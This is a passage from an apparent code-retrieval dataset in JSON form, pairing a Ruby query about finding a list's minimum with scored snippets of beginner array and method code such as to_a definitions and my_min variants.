"score": "0.7616859",
"text": "def to_a\n to_ary\n end",
"title": ""
},
{
"docid": "4c24ebc9130ad14f8f76914af9b13ae3",
"score": "0.7615296",
"text": "def to_a; self.collect{ |o| o }; end",
"title": ""
},
{
"docid": "d06cc83784eff6e40c476c9a36e995a1",
"score": "0.7489493",
"text": "def to_a\n @_to_a ||= super\n end",
"title": ""
},
{
"docid": "b568e48ed2a9628075f6e1c81e6a3968",
"score": "0.7398791",
"text": "def to_a; [self]; end",
"title": ""
},
{
"docid": "3ded42e6a026446675ce8c04c0f5c5cd",
"score": "0.7352916",
"text": "def to_a(&block); end",
"title": ""
},
{
"docid": "3ded42e6a026446675ce8c04c0f5c5cd",
"score": "0.7352916",
"text": "def to_a(&block); end",
"title": ""
},
{
"docid": "3ded42e6a026446675ce8c04c0f5c5cd",
"score": "0.7352916",
"text": "def to_a(&block); end",
"title": ""
},
{
"docid": "e9c7dfbe43a10898d75390d47d8e7387",
"score": "0.72411567",
"text": "def to_a\n self\n end",
"title": ""
},
{
"docid": "4b2fcb2be44de0348034f19582725ce3",
"score": "0.7236422",
"text": "def to_a()\r\n return data\r\n end",
"title": ""
},
{
"docid": "f870abc99e1ee114cf80537283836bb8",
"score": "0.7183995",
"text": "def to_ary\n to_a\n end",
"title": ""
},
{
"docid": "f870abc99e1ee114cf80537283836bb8",
"score": "0.7183995",
"text": "def to_ary\n to_a\n end",
"title": ""
},
{
"docid": "f870abc99e1ee114cf80537283836bb8",
"score": "0.7183995",
"text": "def to_ary\n to_a\n end",
"title": ""
},
{
"docid": "aa4bb22db8f7defd527f45cab123a071",
"score": "0.7181544",
"text": "def to_obj; end",
"title": ""
},
{
"docid": "c6f5595946ee73bca5f4a87422ae5f48",
"score": "0.7135377",
"text": "def to_a\n self.to_h.to_a\n end",
"title": ""
},
{
"docid": "f72449943a93f9c4efd096d406da0a60",
"score": "0.7132243",
"text": "def to_ary\n to_a\n end",
"title": ""
},
{
"docid": "f72449943a93f9c4efd096d406da0a60",
"score": "0.7132243",
"text": "def to_ary\n to_a\n end",
"title": ""
},
{
"docid": "f72449943a93f9c4efd096d406da0a60",
"score": "0.7132243",
"text": "def to_ary\n to_a\n end",
"title": ""
},
{
"docid": "822685b60891f6e7517a93b460212a4b",
"score": "0.7129887",
"text": "def to_ary() to_a end",
"title": ""
},
{
"docid": "fcc0a9dbead6b8879e9c12bf5c166064",
"score": "0.7120647",
"text": "def to_a\n return self\n end",
"title": ""
},
{
"docid": "fcc0a9dbead6b8879e9c12bf5c166064",
"score": "0.7120647",
"text": "def to_a\n return self\n end",
"title": ""
},
{
"docid": "687291bf326b59e379009097482973d8",
"score": "0.7119617",
"text": "def to_array(obj)\n obj.is_a?(Array) ? obj : [obj].compact\n end",
"title": ""
},
{
"docid": "06e878e118b7294b63a1213caba8f447",
"score": "0.7078667",
"text": "def to_a\n [self]\n end",
"title": ""
},
{
"docid": "80b12a5b098bac6f1636b9447c8bab0a",
"score": "0.7073945",
"text": "def to_a\n raise 'Abstract class'\n end",
"title": ""
},
{
"docid": "243bf0583cc36e2c716111dc23aad5ea",
"score": "0.70520496",
"text": "def to_ary\n to_a\n end",
"title": ""
},
{
"docid": "9c3aea209e68ffa4a912eba532790d16",
"score": "0.7043886",
"text": "def to_a; map{ |e| e }; end",
"title": ""
},
{
"docid": "9542889bccd9f0f8c3f3bf885ba3b79d",
"score": "0.7013469",
"text": "def to_ary; end",
"title": ""
},
{
"docid": "9542889bccd9f0f8c3f3bf885ba3b79d",
"score": "0.7013469",
"text": "def to_ary; end",
"title": ""
},
{
"docid": "9542889bccd9f0f8c3f3bf885ba3b79d",
"score": "0.7013469",
"text": "def to_ary; end",
"title": ""
},
{
"docid": "9542889bccd9f0f8c3f3bf885ba3b79d",
"score": "0.7013469",
"text": "def to_ary; end",
"title": ""
},
{
"docid": "9542889bccd9f0f8c3f3bf885ba3b79d",
"score": "0.7013469",
"text": "def to_ary; end",
"title": ""
},
{
"docid": "9542889bccd9f0f8c3f3bf885ba3b79d",
"score": "0.7013469",
"text": "def to_ary; end",
"title": ""
},
{
"docid": "9542889bccd9f0f8c3f3bf885ba3b79d",
"score": "0.7013469",
"text": "def to_ary; end",
"title": ""
},
{
"docid": "9542889bccd9f0f8c3f3bf885ba3b79d",
"score": "0.7013469",
"text": "def to_ary; end",
"title": ""
},
{
"docid": "9542889bccd9f0f8c3f3bf885ba3b79d",
"score": "0.7013469",
"text": "def to_ary; end",
"title": ""
},
{
"docid": "9542889bccd9f0f8c3f3bf885ba3b79d",
"score": "0.7013469",
"text": "def to_ary; end",
"title": ""
}
] |
0abb4778f0c1ec5334c8c4fefd225ee2
|
NB n WORST CASE list = [ 0, 3, 5, 4, 5, 10, 1, 90 ] p my_min_iterative(list)
|
[
{
"docid": "5a9e5c1866decb717e0e3482e3077565",
"score": "0.0",
"text": "def largest_sub_sum(array)\n subsets = []\n i = 0\n while i < array.length\n j = i\n while j < array.length\n subsets << array[i..j]\n j += 1\n end\n i += 1\n end\n result = nil\n subsets.map {|subset| subset.inject(:+)}.each do |sum|\n result = sum if result.nil? || result < sum\n end\n result\nend",
"title": ""
}
] |
[
{
"docid": "405e4dabac6e5a00c42cc3d60b2b13fb",
"score": "0.73593956",
"text": "def my_better_min(list)\n min = list[0] #1\n\n list.each_with_index do |ele_1, i| #n\n if ele_1 < min # 1 *n\n min = ele_1 #1 *n\n end\n end\n\n min #1\n # (i...list.length).each do |j|\n # if list[i] list[j]\nend",
"title": ""
},
{
"docid": "b5ed6c1a921eb22236739bd0cd4da5d0",
"score": "0.71020997",
"text": "def my_min_2(list) # n\n min_value = list.first\n i = 0\n while i < list.length\n min_value = list[i] if list[i] < min_value\n i += 1\n end\n min_value\nend",
"title": ""
},
{
"docid": "f7e25123eef0bef1457e93487fa524af",
"score": "0.68776584",
"text": "def my_min_ii(list)\n min = list.first\n list.each do |el|\n min = el if el < min\n end\n min\nend",
"title": ""
},
{
"docid": "d19c5480e14bcfe26d8224fe3caf0efd",
"score": "0.685725",
"text": "def my_min(list)\n\n # phase 1\n # min = list.first\n # list.each_with_index do |ele_1, i_1|\n # list.each_with_index do |ele_2, i_2|\n # if i_2 != i_1\n # if min > ele_2\n # min = ele_2\n # end\n # end\n # end\n # end\n # min\n\n # phase 2\n min = list.first\n list[1..-1].each do |ele|\n if min > ele\n min = ele\n end\n end\n min\nend",
"title": ""
},
{
"docid": "4a341d681de1a71c935495e84149a65c",
"score": "0.6814791",
"text": "def my_min(list)\n min = 0\n list.each do |ele|\n list.each do |ele2|\n min = ele if ele < ele2 && ele < min\n end\n end\n min\nend",
"title": ""
},
{
"docid": "b6ee6350615979ca496d4b8eda067904",
"score": "0.6793132",
"text": "def my_min(list)\r\n list.inject { |min,ele| min < ele ? min : ele }\r\n \r\n # Time : O(n)\r\n # Space : O(1)\r\nend",
"title": ""
},
{
"docid": "1c691a5d6bd9c16754331baaca324613",
"score": "0.6754694",
"text": "def phase_1_min(list)\n smallest = 0\n list.each_with_index do |num1, indx1|\n list.each_with_index do |num2, indx2|\n next if indx1 == indx2\n smallest = num1 if num1 < num2 && num1 < smallest\n end\n end\n smallest\nend",
"title": ""
},
{
"docid": "a45e060c6279e66bce8b324c59428625",
"score": "0.6750528",
"text": "def my_min_phase_2(list)\n min = list[0]\n (1...list.length).each do |i|\n min = list[i] if list[i] < min\n end\n min\nend",
"title": ""
},
{
"docid": "e6b402825862740a280f550bbbeb28e8",
"score": "0.67396516",
"text": "def my_min(list)\n min = list[0]\n\n list.each do |ele| \n case min <=> ele\n when 1\n min = ele\n when 0\n next\n when -1\n min = min \n end\n end\n\n min\nend",
"title": ""
},
{
"docid": "c39851edd1df0b5cd2dacb975bb97c76",
"score": "0.66563606",
"text": "def my_min(list)\n min = list[0]\n (1...list.length).each do |i| \n min = list[i] if list[i] < min \n end\n min\nend",
"title": ""
},
{
"docid": "96955f90e124771537aeb45532c8dcb6",
"score": "0.66481507",
"text": "def my_min(list)\n\n min = nil\n\n list.each do |ele|\n min ||= ele\n list.each do |ele2|\n if ele2 < min\n min = ele2\n end\n end\n end\n\n min\nend",
"title": ""
},
{
"docid": "3c200bf40e046efbe2bb25b97fc9d777",
"score": "0.6635947",
"text": "def my_min_fast(list)\n smallest = list.first\n\n list[1..-1].each { |n| smallest = n if n < smallest }\n smallest\nend",
"title": ""
},
{
"docid": "087cfd9d04fd9eac9cceaea082d51d6c",
"score": "0.6620053",
"text": "def my_min_linear(list)\n smallest_number = list.first\n \n list.each do |num|\n smallest_number = num if num < smallest_number\n end\n\n smallest_number\nend",
"title": ""
},
{
"docid": "b2d64d013721f454aadcc90af1a7c27f",
"score": "0.6619948",
"text": "def my_min(list)\n i = 0\n min = list[0]\n while i < list.length - 1\n if list[i + 1] < min\n min = list[i + 1]\n end\n i += 1\n end\n min\nend",
"title": ""
},
{
"docid": "a7c1e9517f14fb9a21157b6b02f9aaf4",
"score": "0.66055053",
"text": "def my_min(list)\r\n smallest = 0\r\n \r\n list.each_with_index do |ele1, idx1|\r\n list.each_with_index do |ele2, idx2|\r\n if idx2 > idx1 \r\n if ele1 < smallest\r\n smallest = ele1\r\n end\r\n if ele2 < smallest\r\n smallest = ele2\r\n end\r\n end\r\n end\r\n end\r\n\r\n smallest\r\nend",
"title": ""
},
{
"docid": "1297d0ba7c53a53066ef48104e6bd492",
"score": "0.65365905",
"text": "def my_min2(list)\n result = list.first\n list.each do |el|\n result = el if el < result\n end\n result\n\nend",
"title": ""
},
{
"docid": "b4f978ffe66fdd79257f267b4caa1758",
"score": "0.65248567",
"text": "def my_min2(list)\n min = 0\n list.each do |el|\n min = el if el < min\n end\n min\nend",
"title": ""
},
{
"docid": "de0564c4e416682bec6fbe629cdfcbf2",
"score": "0.65181625",
"text": "def my_min_iterative(array)\n minimum = nil\n\n array.each { |element| minimum = element if minimum.nil? || element < minimum }\n\n minimum\nend",
"title": ""
},
{
"docid": "23d425b1b097d5ec704813d626595b21",
"score": "0.65145135",
"text": "def my_min(list)\n min = list[0]\n (0...list.length).each do |i| \n min = list[i] if list[i] < min\n end\n min\nend",
"title": ""
},
{
"docid": "999dbca1d2c7c8186ba39269308efa55",
"score": "0.6502092",
"text": "def my_min_2(list)\n smallest = 0\n list.each do |el|\n smallest = el if el < smallest\n end\n smallest\nend",
"title": ""
},
{
"docid": "093201859725e4e5498b4d888b88aed3",
"score": "0.64941007",
"text": "def my_min_better(list)\n min = list.first\n list.each do |el|\n min = el if el < min\n end\n min\nend",
"title": ""
},
{
"docid": "90507ec81a110df6a4a1c3cd04c0b10d",
"score": "0.6468981",
"text": "def my_min_2(list)\n min = list.first\n list.each do |num|\n if num < min \n min = num\n end\n end\n min\nend",
"title": ""
},
{
"docid": "11e80a3bad90c3eeb93b4abb113b8941",
"score": "0.646064",
"text": "def my_min(list)\n list.each do |el|\n smallest = true\n list.each do |second_el|\n if second_el < el\n smallest = false\n end\n end\n if smallest == true\n return el\n end\n end\nend",
"title": ""
},
{
"docid": "e19b2d5689e8dd7d75ba2c66395dba55",
"score": "0.6449792",
"text": "def my_min_2(list)\n min = nil\n\n list.each do |num|\n min = num if min.nil? || num < min\n end\n\n min\nend",
"title": ""
},
{
"docid": "ae5862ea00cac28acf298bd13187f3bf",
"score": "0.64136696",
"text": "def my_min(list) \n\n list.each_with_index do |ele, i| #O(n)\n compare_arr = list[0...i] + list[i+1..-1] # O(2n) \n return ele if compare_arr.all? { |ele2| ele < ele2 } #O(n)\n end\n\n #time complexity = O(n^2) + O(2n)\n\nend",
"title": ""
},
{
"docid": "9679d07fa4737be8cf731a2d6734d88f",
"score": "0.6400486",
"text": "def my_min(list)\n list.each do |el|\n equal_or_smaller = []\n list.each do |el2|\n equal_or_smaller << el2 if el2 < el\n end\n return el if equal_or_smaller.empty?\n end\nend",
"title": ""
},
{
"docid": "5f1058557e445e2912c36c75b72781bb",
"score": "0.6352231",
"text": "def my_min(list)\r\n smallest = list.first\r\n list.each do |ele|\r\n smallest = ele if ele < smallest\r\n end\r\n return smallest\r\nend",
"title": ""
},
{
"docid": "d6c28ea19fc5b3aebf95eff54c564cdd",
"score": "0.63340795",
"text": "def my_min(list)\n smallest = list.first\n list.each do |el|\n smallest = el if el < smallest\n end\n smallest\nend",
"title": ""
},
{
"docid": "6d2517719f3a8cfa3f2cd3331e4b8266",
"score": "0.6330813",
"text": "def my_min(list)\n minimum_num = [] \n list.each do |num1| \n minimum_num = num1 if list.all? {|ele| ele >= num1}\n end\n minimum_num\nend",
"title": ""
},
{
"docid": "6012c9215a511682991463373208fbd7",
"score": "0.6323965",
"text": "def my_min2(array)\n array.inject { |acc, ele| acc < ele ? acc : ele}\nend",
"title": ""
},
{
"docid": "77e3bdb6c8f4fe07e19e99796cf335a0",
"score": "0.63201416",
"text": "def my_min2(list)\n smallest_number = list.first\n list.each do |num|\n smallest_number = num if num <= smallest_number\n end\n smallest_number\nend",
"title": ""
},
{
"docid": "884d8491c374d95e076dd2fdb889ddff",
"score": "0.6315057",
"text": "def my_min(list)\n min = list.first \n\n list.each do |el|\n if el < min \n min = el \n end\n end\n min\nend",
"title": ""
},
{
"docid": "8ad5c2837d2a5fb8d2d1a912e4b47681",
"score": "0.6313708",
"text": "def my_min2(list)\n min = list[0]\n list.each do |el|\n min = el if el < min\n end\n min\nend",
"title": ""
},
{
"docid": "7162724e546ffdbc8fc6c70b8171ea5c",
"score": "0.6297622",
"text": "def my_min_2(list)\r\n min = 0 # O(1)\r\n \r\n list.each do |ele| # O(n) \r\n if ele < min # O(1)\r\n min = ele # O(1)\r\n end\r\n end\r\n min # O(1) \r\nend",
"title": ""
},
{
"docid": "3b3574cfd91e9635ffef8fe843bc915f",
"score": "0.62850815",
"text": "def my_min_2(list) \n min = list.first \n list.each {|num| min = num if min > num }\n min\nend",
"title": ""
},
{
"docid": "fd8d299bcf465e682d3e575f9ef28ecc",
"score": "0.6274092",
"text": "def simple_loop(list)\n smallest = list.first\n \n (1...list.length).each do |idx|\n smallest = list[idx] if list[idx] < smallest\n end\n \n smallest\nend",
"title": ""
},
{
"docid": "4755ffc0f0d6be88d0313b2fbc752364",
"score": "0.62582976",
"text": "def min(list)\n tiny = list[0]\n list.each do |n|\n if n < tiny\n tiny = n\n end\n end\n puts tiny\nend",
"title": ""
},
{
"docid": "3ceea956887075bcf64af4357b1bde27",
"score": "0.62401235",
"text": "def better_my_min(array)\n array.inject do |acc, ele|\n if acc <= ele\n acc\n else\n ele\n end\n end\n end",
"title": ""
},
{
"docid": "d1786f481ab46b517cc4dbcb2b2425ff",
"score": "0.6224956",
"text": "def my_min1(int_list)\n int_list.each do |int1|\n return int1 if int_list.all? { |int2| int2 >= int1 }\n end\nend",
"title": ""
},
{
"docid": "5dfd0a7900c6dab2d0a9b13c30c510a2",
"score": "0.6204215",
"text": "def my_min(list)\r\n smaller_ele = []\r\n list.each do |ele1|\r\n list.each do |ele2|\r\n smaller_ele << [ele1,ele2].min \r\n end\r\n end\r\n return smaller_ele.min\r\nend",
"title": ""
},
{
"docid": "5260118beef3f8f3b51b0ce37ee6748d",
"score": "0.62018687",
"text": "def my_min2(int_list)\n min = 0\n\n int_list.each do |int|\n min = int if int < min\n end\n\n min\nend",
"title": ""
},
{
"docid": "70ee884fedc46d6d0334bebc10495b1f",
"score": "0.6197502",
"text": "def lowest_number(number_list)\n number_list.map(&:to_s)\n .permutation\n .map(&:join)\n .map(&:to_i)\n .min\nend",
"title": ""
},
{
"docid": "cd6277cb952226da87542280848eea3d",
"score": "0.6197241",
"text": "def my_min(list)\n smallest_num = nil\n list.each do |num|\n if smallest_num == nil || smallest_num > num\n smallest_num = num\n end\n end\n smallest_num\nend",
"title": ""
},
{
"docid": "4746b958309e51e6462620239fdda644",
"score": "0.6119335",
"text": "def get_min(array)\n return array.inject do |current_min, n|\n if (current_min > n)\n n\n else\n current_min\n end\n end\nend",
"title": ""
},
{
"docid": "b0fc019cc20c5335560dab5dd496e4b4",
"score": "0.6089148",
"text": "def my_min_3(list)\n subs = []\n\n list.each_index do |i|\n list.each_index do |j|\n unless i > j\n subs << list[i..j]\n end\n end\n end\n\n subs.map do |sub|\n sub.reduce(:+)\n end.max\nend",
"title": ""
},
{
"docid": "614280f7922bfbaa90687d8ed917a389",
"score": "0.6088184",
"text": "def my_min_2(array)#O(n)\n array.inject do |acc, ele|#O(n)\n if acc < ele\n acc\n else\n ele\n end\n end\nend",
"title": ""
},
{
"docid": "c44b9b973a087635b8d908e0df910a33",
"score": "0.6033139",
"text": "def my_min_n2(arr)\n arr.each_with_index do |comp_el, idx|\n im_the_smallest = true\n (idx + 1).upto(arr.length - 1) do |j|\n im_the_smallest = false if comp_el > arr[j]\n end\n return comp_el if im_the_smallest == true\n end\nend",
"title": ""
},
{
"docid": "b19c45ad322de341b54d352a9b4a8071",
"score": "0.60130453",
"text": "def find_min_brute(nums)\n smallest = nums[0]\n nums.each do |n|\n (smallest = n) if n < smallest \n end\n return smallest\nend",
"title": ""
},
{
"docid": "b42c92a41c88b8cd096dea2e89b2800a",
"score": "0.6012172",
"text": "def smallest_integer(list_of_nums)\n # Pseudocode\n # return nil if array is empty\n # Otherwise, initialize current minimum as the first element of the array\n # FOR each element of the array\n # IF that element is larger than the current minimum\n # Set the current minimum to that element\n # Return the current minimum\n\n #initial solution\n # return nil if list_of_nums.length == 0\n\n # minimum = list_of_nums[0]\n\n # list_of_nums.each do |el|\n # minimum = el if el < minimum\n # end\n\n # return minimum\n\n #using built-in Ruby enumerables method\n return list_of_nums.min\n\nend",
"title": ""
},
{
"docid": "87068d7f34cfcf10fce2463d6b54044b",
"score": "0.5992928",
"text": "def my_min_n2(arr)\n smallest_number = true\n arr.each do |first_el|\n smallest_number = true\n arr.each do |second_el|\n smallest_number = false if second_el < first_el\n end\n return first_el if smallest_number\n end\nend",
"title": ""
},
{
"docid": "7515cbe2f6ecae5e688a176e21bac0ce",
"score": "0.5991516",
"text": "def my_min(arr)\n arr.inject{|acc, el| el < acc ? acc = el : acc }\nend",
"title": ""
},
{
"docid": "4384d46a3fc789c1f713c4ce9f875631",
"score": "0.59865886",
"text": "def find_min(*nums)\n nums.reduce do | acc, current_value |\n if acc > current_value\n current_value\n else\n acc\n end\n end\nend",
"title": ""
},
{
"docid": "566a6633aff25ff745404bb3d661e4cd",
"score": "0.59830683",
"text": "def otter_sum(list)\n running_total = 0\n global_min = 0\n global_max = 0\n global_min_first = true\n all_negatives = true\n min_neg = list.first\n\n list.each do |el|\n if all_negatives == true\n if el < 0\n min_neg = el if el > min_neg\n else\n all_negatives = false\n end\n end\n\n running_total += el\n\n if running_total < global_min\n global_min = running_total\n global_min_first = false\n elsif running_total > global_max\n global_max = running_total\n global_min_first = true\n end\n\n end\n\n comp = [global_max, running_total - global_min]\n\n if global_min_first == true\n comp << global_max - global_min\n end\n\n return min_neg if all_negatives == true\n return comp.max\nend",
"title": ""
},
{
"docid": "28093fadb1eec477739b37d63837f27f",
"score": "0.5982676",
"text": "def numSmaller(list,item)\r\n\tif(list.count > 0) then\r\n\t\treturn list.count{|val| val.to_i<item.to_i}\r\n\telse\r\n\t\treturn 0\r\n\tend\r\nend",
"title": ""
},
{
"docid": "9f63621c68f4216d7484a136cd782fa4",
"score": "0.5961334",
"text": "def my_min_lin(arr) \n arr.inject do |min, num| \n if num < min \n num \n else \n min \n end \n end \nend",
"title": ""
},
{
"docid": "8fac057ff4bb5896c938d1d971d3ee7d",
"score": "0.5960339",
"text": "def min(list)\n list.min\nend",
"title": ""
},
{
"docid": "df5b28542e3c80ff1b17b28c6fcc5372",
"score": "0.59494114",
"text": "def check_list_linear(array)\n min = array.first\n array.each do |num|\n min = num if num < min\n end\n min\n end",
"title": ""
},
{
"docid": "e58afa8aa038077ac3711f834e329dcb",
"score": "0.5917625",
"text": "def linear_my_min(arr)\n # arr.inject do |min, ele|\n # min > ele \n # end\n # arr.first \n\n min = arr.first \n\n arr.each do |ele|\n min = ele if ele < min \n end\n min \n\nend",
"title": ""
},
{
"docid": "0e8affde0763a21465e48c6cfc392659",
"score": "0.5882207",
"text": "def my_min(arr)\n output = arr.first\n \n (1...arr.length).each do |i|\n (i+1...arr.length).each do |j|\n output = arr[j] if arr[j] < output\n end\n end\n \n output\nend",
"title": ""
},
{
"docid": "bdac6fdcee24f076e4524fc328feca9b",
"score": "0.58546007",
"text": "def my_min_2(arr) #O(N)\n min_num = arr.first\n \n arr.each { |num| min_num = num if num < min_num }\n \n min_num\n end",
"title": ""
},
{
"docid": "e92872eea3d4c281511cc05dbb5d1193",
"score": "0.58527625",
"text": "def smallest_integer(list_of_nums)\n smallest_num = list_of_nums[0]\n list_of_nums.each do |value|\n smallest_num = value if value < smallest_num\n end\n smallest_num\nend",
"title": ""
},
{
"docid": "aa875ed091d8a27b1a492d1bf777a067",
"score": "0.58504844",
"text": "def my_min(arr) #linear\n arr.reduce do |smallest, num|\n if smallest < num\n smallest\n else\n smallest = num\n end\n end\nend",
"title": ""
},
{
"docid": "fc9feae213ebd143657bc41b94d6e46e",
"score": "0.5847256",
"text": "def solution(a)\n min_val = 10_000\n min_pos = 0\n \n sums = [0]\n for i in (0..a.count - 1) \n sums << sums.last + a[i] \n end\n for p in (0..a.count - 2)\n for q in (p + 1..[p + 2, a.count - 1].min)\n s = (sums[q + 1] - sums[p]).to_f / (q - p + 1)\n if s < min_val\n min_val = s\n min_pos = p\n end\n end\n end\n min_pos\nend",
"title": ""
},
{
"docid": "26a19e98f405da22d2744bb28aaf0dcc",
"score": "0.58403224",
"text": "def smallest_integer(list_of_nums)\r\n smallest = list_of_nums.first\r\n list_of_nums.each {|n| smallest = n if n < smallest}\r\n return smallest\r\nend",
"title": ""
},
{
"docid": "1795403d85351b3d4035794b2821d6de",
"score": "0.5838558",
"text": "def my_min2(array)\n lowest_num = array.first\n array.each do |el1|\n next if lowest_num == el1\n if el1 < lowest_num\n lowest_num = el1\n end\n end\n lowest_num\nend",
"title": ""
},
{
"docid": "c3aa5bbd0b2ce140048ec0bc056fdcda",
"score": "0.5835259",
"text": "def my_second_min(list)\n smallest = list[0]\n list.each do |el|\n next if el == smallest\n if el < smallest\n smallest = el\n end\n end\n return smallest\nend",
"title": ""
},
{
"docid": "dfc122cd6ed06a5b4b7268ab07a558ff",
"score": "0.5826851",
"text": "def helper(arr, i, mins)\n return mins[i] if mins[i]\n return 0 if i >= arr.length\n return 'fail' if arr[i] == 0\n min = 99999\n\n for j in i+1..i+arr[i]\n jumps_count = helper(arr, j, mins)\n if jumps_count != 'fail' && jumps_count < min\n min = jumps_count + 1\n end\n end\n mins[i] = min\n min\nend",
"title": ""
},
{
"docid": "2981d11a170e783d342d56b360b8c1dd",
"score": "0.5811735",
"text": "def smallest_integer(list_of_nums)\n smallest = nil\n list_of_nums.each do |num|\n if smallest == nil\n smallest = num\n end\n if num <= smallest\n smallest = num\n end\n end\n smallest\nend",
"title": ""
},
{
"docid": "3e96b3826d2d3c17e5185841f39282d5",
"score": "0.5808226",
"text": "def find_min(nums)\n nums.rotate(rand(1..10)).min\nend",
"title": ""
},
{
"docid": "d5affcafa6becf4eafa33961cf4ec24e",
"score": "0.5807637",
"text": "def my_min_2(nums) # O(n)\n smallest = 0\n nums.each do |num|\n smallest = num if num < smallest\n end\n smallest\nend",
"title": ""
},
{
"docid": "496194441c47d2599e46f86ce7388456",
"score": "0.5805695",
"text": "def my_min_improved(arr)\n min = arr[0]\n\n arr.each do |el|\n min = el if el < min\n end\n\n return min\nend",
"title": ""
},
{
"docid": "148679c69e82e8159c73470fe47d4cc7",
"score": "0.58038896",
"text": "def my_min_v2(array)\n minimum = array.first\n\n array[1..-1].each do |element|\n minimum = element if minimum > element\n end\n\n minimum\nend",
"title": ""
},
{
"docid": "a3a4bd3d396c28a0366ea9d69ba5c012",
"score": "0.5792612",
"text": "def my_min_linear(array)\n min = array[0]\n\n array.each do |num|\n min = num if num < min\n end\n min\nend",
"title": ""
},
{
"docid": "8e7b21e6c07aee3cc260f5e05be3edb6",
"score": "0.5790651",
"text": "def better_my_min(array)\n smallest = array[0]\n array[1..-1].each do |el|\n smallest = el if el < smallest\n end\n smallest\nend",
"title": ""
},
{
"docid": "9e495a54d6094d7dafbf9f0262f48201",
"score": "0.57889587",
"text": "def min_unfairness (candy, n, k)\n # First, sorting the array\n candy.sort!\n\n # puts candy.inspect\n\n # Initialize with the first and k element \n min = candy[k-1] - candy[0]\n\n # For each subsequential k elements, we have to find the min. unfairness\n for i in 1..(n-k) \n # puts \"i=#{i} n[i+k]=#{candy[i+k-1]} n[i]=#{candy[i]} : #{candy[i+k-1] - candy[i]} | min=#{min}\"\n min = candy[i+k-1] - candy[i] if candy[i+k-1] - candy[i] < min\n end\n\n return min\nend",
"title": ""
},
{
"docid": "db3f03946db0832cc557b676a7ae65dd",
"score": "0.5784211",
"text": "def iterate_once_my_min(integers)\n min = integers.first\n integers.each do |integer|\n min = integer if integer < min\n end\n min\nend",
"title": ""
},
{
"docid": "ec1612fe4390aef170028e3eab7c7d09",
"score": "0.5783268",
"text": "def compare_every_element_my_min(integers)\n min = nil\n\n integers.each do |integer_1|\n is_min = true\n\n integers.each do |integer_2|\n is_min = false if integer_1 > integer_2\n end\n\n min = integer_1 if is_min\n break if min\n end\n\n min\nend",
"title": ""
},
{
"docid": "095913fc24054a157549fb8de4ba0995",
"score": "0.57818574",
"text": "def my_min(arr)\n\n smallest_value = arr[0]\n\n arr.each do |ele1| # [ 0, 3, 5, 4, -5, 10, 1, 90 ] O(n)\n # smallest_value = ele1 if ele1 < smallest_value\n if arr.all?{|ele2| ele1 <= ele2 } #O(n)\n smallest_value = ele1\n end\n end\n\n smallest_value\n\nend",
"title": ""
},
{
"docid": "67ad7679fd8ca187b207ed4df006e43b",
"score": "0.5775344",
"text": "def factorial_zeroes(n)\n two_power = 0\n five_power = 0\n\n (1..n).each do |i|\n two_power += biggest_factor(i, 2)\n five_power += biggest_factor(i, 5)\n end\n\n [two_power, five_power].min\nend",
"title": ""
},
{
"docid": "365dd8a504169196d1034e8fe4f489cb",
"score": "0.5762125",
"text": "def my_min_2(arr)\n\n smallest_value = arr[0] # O(1)\n\n arr.each do |ele1| # [ 0, 3, 5, 4, -5, 10, 1, 90 ] O(n)\n smallest_value = ele1 if ele1 <= smallest_value #O(1)\n end\n\n smallest_value #O(1)\n\nend",
"title": ""
},
{
"docid": "c567594f579e88bc17061f9329587fa8",
"score": "0.57440686",
"text": "def my_min_v2(arr) # O(n)\n num = arr[0]\n arr.each { |int| num = int if int < num }\n num\nend",
"title": ""
},
{
"docid": "549ef6e443ea90a83d5591bd5aec48f9",
"score": "0.5742178",
"text": "def my_min(arry)\n mini = arry.first\n arry.each do |ele|\n if ele < mini\n mini = ele\n end\n end\n mini\nend",
"title": ""
},
{
"docid": "f2f6240671da4eb5f095e34e360fac1b",
"score": "0.57299066",
"text": "def smallest_integer(list_of_nums)\n\tlist_of_nums.each do |n1|\n \t\tlist_of_nums.each do |n2|\n \t\t\tif list_of_nums|n2| < list_of_nums|n1| #check if the the second number pulled out of array is smaller than the first\n \t\t\t\tlist_of_nums|n1| , list_of_nums|n2| = list_of_nums|n2| , list_of_nums|n1| #if it is smaller, it is moved in front of the bigger number\n \t\t\tend\n \t\tend\n\tend\n\nreturn list_of_nums[0] #once the smallest number is moved to the front, it should be the smallest in the array. so I call on it.\nend\n\n#I could not get this solution to work for some reason, because it didnt pass rspec. ",
"title": ""
},
{
"docid": "0137454af3baa411a87fd485d63b14fe",
"score": "0.5721142",
"text": "def smallest_integer(list_of_nums)\n smallest = list_of_nums[0]\n list_of_nums.each do |x|\n if x <= smallest\n smallest = x\n end\n end\n if list_of_nums.nil?\n return nil\n end\n return smallest\nend",
"title": ""
},
{
"docid": "ee31ffcbecc213c561713bee980b73f4",
"score": "0.5715382",
"text": "def min_moves(nums)\n nums.sum - nums.size * nums.min\nend",
"title": ""
},
{
"docid": "b2ff267cbffbf6d6d146ce2e9f449abd",
"score": "0.57066065",
"text": "def my_min_2(arr)\n least = arr[0]\n\n arr.each do |i|\n arr.each do |y|\n if i < y && i < least\n least = i\n end\n end\n end\n\n least\n\n\nend",
"title": ""
},
{
"docid": "7662da50a07a44335e4b25eb2973553a",
"score": "0.5699343",
"text": "def minuend(num)\n num_arr = []\n\n 1.upto(num) { |n| num_arr << n }\n (num_arr.reduce(:+)) ** 2\nend",
"title": ""
},
{
"docid": "af0f9e5307ec8cf356e792580683d20b",
"score": "0.5695275",
"text": "def smallest_integer(list_of_nums)\r\n # Your code goes here!\r\n a = list_of_nums.length\r\n \r\n \tloop do \r\n \t\tswapped = false\r\n \t\t\r\n \t\t(a-1).times do |i|\r\n \t\t\tif list_of_nums[i] > list_of_nums[i+1]\r\n \t\t\t\tlist_of_nums[i], list_of_nums[i+1] = list_of_nums[i+1], list_of_nums[i]\r\n \t\t\t\tswapped = true \r\n \t\t\tend\r\n \t\tend\r\n\r\n \t\tbreak if not swapped\r\n \tend\r\n \tsmallest = list_of_nums[0]\r\n \tsmallest\r\n\r\n\r\nend",
"title": ""
},
{
"docid": "e680da8abedc2ca61d3fa0e4b61278db",
"score": "0.56946784",
"text": "def minimumjumps(arr, n)\n jumps = Array.new(n, 0)\n \n if (n == 0) or (arr[0] == 0) then\n return Float::INFINITY\n end\n \n jumps[0] = 0\n \n # Find the minimum number of jumps to reach arr[i] from \n # arr[0] and assign this value to jumps[i]\n for i in 1..n\n jumps[i] = Float::INFINITY\n for j in 0..i\n if (i <= j + arr[j]) and (jumps[j] != Float::INFINITY) then\n jumps[i] = [jumps[i], jumps[j] + 1].min\n break\n end\n end\n end\n return jumps[n-1] \n end",
"title": ""
},
{
